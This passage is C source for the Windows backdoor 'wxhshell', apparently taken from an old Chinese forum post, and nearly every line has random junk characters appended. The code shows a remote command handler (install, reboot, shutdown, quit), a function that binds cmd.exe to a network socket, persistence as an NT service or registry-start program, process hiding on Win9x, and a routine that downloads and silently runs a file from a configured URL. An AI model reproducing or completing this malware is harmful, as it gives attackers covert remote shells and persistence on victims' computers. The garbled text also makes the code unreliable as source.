  case '?': { 0uO=wOIhH  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); WAXts]=  
    break; Wd56B+  
  } 1 3 `0d  
  // 安装 yUmsE-W  
  case 'i': { ]~S+nl yd<  
    if(Install()) tlLn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); )z235}P  
    else *3`oU\r  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); DE\bYxJ  
    break; uE#,c\[8  
    } g)?g7{&?>?  
  // 卸载 /:{_|P\  
  case 'r': { ~uR6z//%  
    if(Uninstall()) n,a5LR  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); EvqAi/(g  
    else )QCM2  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Vy^yV|`v  
    break; 2, "q_d'V  
    } ,,gLrV k  
  // 显示 wxhshell 所在路径 vd7N&c9  
  case 'p': { 0$L0fhw.  
    char svExeFile[MAX_PATH]; !_-sTZ  
    strcpy(svExeFile,"\n\r"); W({TC  
      strcat(svExeFile,ExeFile); j-`X_8W  
        send(wsh,svExeFile,strlen(svExeFile),0); ~J>gVg%66  
    break; =Cy>$/H64  
    } tK|9qs<%  
  // 重启 t)gi.Ed1"L  
  case 'b': { !H|82:`t+  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); Ryba[Fz4Di  
    if(Boot(REBOOT)) 3 E!<p  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); "R2t&X[9  
    else { DxKfWb5 R  
    closesocket(wsh); w-H%B`/  
    ExitThread(0); V l~Y  
    } C7 ]DJn  
    break; d9-mWz(V+  
    }  Ep\  
  // 关机 k/_8!^:'  
  case 'd': { |[owNV>  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 7XVzd]jH  
    if(Boot(SHUTDOWN)) ocl47)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); >PJtG]D  
    else { {#1j"  
    closesocket(wsh); 2'<=H76  
    ExitThread(0); De nt?  
    } @9uYmkcV  
    break; g7 Md  
    } -<51CDw,  
  // 获取shell UhSh(E8p>  
  case 's': { 71l"m^Z3zy  
    CmdShell(wsh); MzR1<W{ O  
    closesocket(wsh); Uc&6=5~Ys\  
    ExitThread(0); lQdnL.w$.4  
    break; tSb?]J  
  } i,'Ka[6   
  // 退出 G=C5T(  
  case 'x': { ^0Q=#p  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 50`iCD  
    CloseIt(wsh); EO].qN-8  
    break; X$-b oe?  
    } %]chL.s  
  // 离开 2fzKdkJhe  
  case 'q': { %R5Com  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); fys5-1@-p  
    closesocket(wsh); %[Zqr;~l  
    WSACleanup(); ^)OZ`u8  
    exit(1); &gA6+b'  
    break; 29Z!p2{hk  
        } T,WKo B  
  } MjQ[^%lfL  
  } N4a`8dS|  
Z#4JA/c!  
  // 提示信息 r*6"'W>c6  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); ;V(H7 ZM  
} BEXQTM3])I  
  } h"u<E\g  
'T)Or,d  
  return; m%oGzx+  
} 2#AeN6\@  
OB?SkR  
// shell模块句柄 kRN|TDx(  
int CmdShell(SOCKET sock) : F7k{~  
{ NV} RRs  
STARTUPINFO si; =de<WoKnu2  
ZeroMemory(&si,sizeof(si)); W&+y(Z-t  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; "Y G\  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; O->_/_  
PROCESS_INFORMATION ProcessInfo; (ve+,H6w\  
char cmdline[]="cmd"; k-WHHoU>o  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); Qj 6gg  
  return 0; cc|CC Zl  
} *.m{jgi1X  
Pqy-gWOv  
// 自身启动模式 N>d|A]zH  
int StartFromService(void) ,4H;P/xsb  
{ i1qS ns  
typedef struct Jo{ zy  
{ ~~C6)N~1  
  DWORD ExitStatus; 0).fBBNG  
  DWORD PebBaseAddress; T!l mO?Q  
  DWORD AffinityMask; [3j$ 4rP  
  DWORD BasePriority; Lw>-7)  
  ULONG UniqueProcessId; F8{ldzh  
  ULONG InheritedFromUniqueProcessId; M`0(!Q}  
}   PROCESS_BASIC_INFORMATION; ]u rK$   
F+ffl^BQ  
PROCNTQSIP NtQueryInformationProcess; ";PG%_(  
AH&9Nye8  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >j50 ;</  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; ==]Z \jk  
wVgi+P  
  HANDLE             hProcess; / <JY:1|  
  PROCESS_BASIC_INFORMATION pbi; 5oz>1  
|}_gA  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); H1` rM^,%A  
  if(NULL == hInst ) return 0; \#PP8  
B/jrYT$;m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Ln ~4mN^  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); <1aa~duT  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); uuu\f*<  
"_ LkZBW.  
  if (!NtQueryInformationProcess) return 0; 7{n\y l?  
f;.SSiT  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); zzX<?6MS  
  if(!hProcess) return 0; \Y*!f|=of  
9c#lLKrzG  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 6#<Ir @z  
c}\ ' x5:o  
  CloseHandle(hProcess); U? 8i'5)  
$"Afy)Ir  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); H}vn$$ O  
if(hProcess==NULL) return 0; VR "u*  
hIR@^\?  
HMODULE hMod; qh%i5Mu  
char procName[255]; u\`/Nhn  
unsigned long cbNeeded; ~6p5H}'H1  
6 |QTS|!  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); /sy-;JDnsu  
~\2;i]|  
  CloseHandle(hProcess); ucw`;<d8  
7g-Dfg.w  
if(strstr(procName,"services")) return 1; // 以服务启动 4Mk8Cpz  
f, |QAj=a  
  return 0; // 注册表启动 StEQ -k  
} !?jK1{E3  
>yX/+p_  
// 主模块 P"b8!k?  
int StartWxhshell(LPSTR lpCmdLine) $u:<x  
{ $nj\\,(g  
  SOCKET wsl; V]Sgx00;  
BOOL val=TRUE; ze&#i6S  
  int port=0; pg+b[7  
  struct sockaddr_in door; 5`"iq "5Cf  
Qe_+r(3)k  
  if(wscfg.ws_autoins) Install(); 2zhn`m  
^[#=L4  
port=atoi(lpCmdLine); fTBVvY4(  
k!&:(]  
if(port<=0) port=wscfg.ws_port; z^'n* h  
7m\vRMK  
  WSADATA data; YUCC*t  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; JRq3>P  
>zQNHSi  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   C ck#Y  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); Y.7}  
  door.sin_family = AF_INET; MZ WmlJ   
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); w^3|(F  
  door.sin_port = htons(port); ?b56AE  
6.[)`iF+#  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { ?H`j>]%&  
closesocket(wsl); 6F(hY !}5  
return 1; wZQ)jo7*g  
} guU=NQZ  
$(3uOsy   
  if(listen(wsl,2) == INVALID_SOCKET) { [P{a_(  
closesocket(wsl); )AI?x@  
return 1; 40u7fojg2  
} !~)90Z!  
  Wxhshell(wsl); u\f3qc,]F  
  WSACleanup(); })P O7:  
d .p'pGL  
return 0;  c-5Ysg  
;= a_B1"9u  
} `%Q&</X  
6AAswz'$P  
// 以NT服务方式启动 F_ 81l<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) U9 bWU'  
{ 33 : @*  
DWORD   status = 0; okstY4f'  
  DWORD   specificError = 0xfffffff; p-xd k|'[  
D^|9/qm$  
  serviceStatus.dwServiceType     = SERVICE_WIN32; K3L"^a  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yPoSJzC=[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; gGEIK0\{  
  serviceStatus.dwWin32ExitCode     = 0; eeW`JG-E  
  serviceStatus.dwServiceSpecificExitCode = 0; uaaf9SL?  
  serviceStatus.dwCheckPoint       = 0; Yk'm?p#~  
  serviceStatus.dwWaitHint       = 0; ywO mQcZ  
QjJfE<h  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); Z5$fE7ba+  
  if (hServiceStatusHandle==0) return; {rDq_^  
LL.x11 o3  
status = GetLastError(); pw\P<9e=  
  if (status!=NO_ERROR) oR#Ob#&  
{ >g]ON9CGH  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; Plfdr~$  
    serviceStatus.dwCheckPoint       = 0; B$?^wo  
    serviceStatus.dwWaitHint       = 0; ~>g+2]Bn>$  
    serviceStatus.dwWin32ExitCode     = status; 7 \X$7  
    serviceStatus.dwServiceSpecificExitCode = specificError; &?y7I Pp  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); RkA8  
    return; WI&lj<*  
  } gw+eM,Yp  
gfN2/TDC]P  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; epkD*7  
  serviceStatus.dwCheckPoint       = 0; w#9_eq|3  
  serviceStatus.dwWaitHint       = 0; n'M>xq_  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); w"~<h;  
} 35_)3 R)  
s6n`?,vw  
// 处理NT服务事件,比如:启动、停止 APq7 f8t  
VOID WINAPI NTServiceHandler(DWORD fdwControl) E{% SR  
{ mlB~V3M'G  
switch(fdwControl) moZm0` WR  
{ D"^'.DL@wG  
case SERVICE_CONTROL_STOP: e)b%`ntF  
  serviceStatus.dwWin32ExitCode = 0; y3JMbl[S0  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ac`;st%l.  
  serviceStatus.dwCheckPoint   = 0; {$33B'wk  
  serviceStatus.dwWaitHint     = 0; ^_W40/c3  
  { >g}G}=R~3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); e;h,V(  
  } "VTF}#Uo  
  return; (`c G  
case SERVICE_CONTROL_PAUSE: t7*#[x)a  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ^~1<f1(  
  break; Ee)xnY%(  
case SERVICE_CONTROL_CONTINUE: :o8MUXH$  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; hqDqt"dKz  
  break; 9:8|)a(1  
case SERVICE_CONTROL_INTERROGATE: EI1? GB)b  
  break; o\!qcoE2W  
}; #]Y*0Wzpfn  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); y}"7e)|t%  
} /pykW_`/-  
y vI<4F  
// 标准应用程序主函数 "@yyXS r  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) X{Zm9T  
{ J'Sm0  
:m ZYS4L~  
// 获取操作系统版本 `]<`$71w  
OsIsNt=GetOsVer(); Fe!9y2Mg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); fzPZ|  
;dZMa]X0  
  // 从命令行安装 JvL{| KtyU  
  if(strpbrk(lpCmdLine,"iI")) Install(); Cy@ cLdV  
L'E^c,-x~  
  // 下载执行文件 fYX<d%?7  
if(wscfg.ws_downexe) { eV2mMSY  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) tJU-<{8  
  WinExec(wscfg.ws_filenam,SW_HIDE); .zkP~xQ~  
} Md&WJ };L  
eB]R3j{  
if(!OsIsNt) {  rLv;Y  
// 如果时win9x,隐藏进程并且设置为注册表启动 Ia4)uV8  
HideProc(); `hUHel;6  
StartWxhshell(lpCmdLine); @ D[`Oj)  
} /X#z*GX  
else \TbVS8e^  
  if(StartFromService()) )(TAT<  
  // 以服务方式启动 G;1?<3   
  StartServiceCtrlDispatcher(DispatchTable); S v`qB'e2  
else orfp>B) 0  
  // 普通方式启动 H"Dn]$Q\Z  
  StartWxhshell(lpCmdLine); PJ\0JR7a  
:Li/=>R^  
return 0; {vVTv SC  
}
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只看该作者 1 发表于: 2006-10-10
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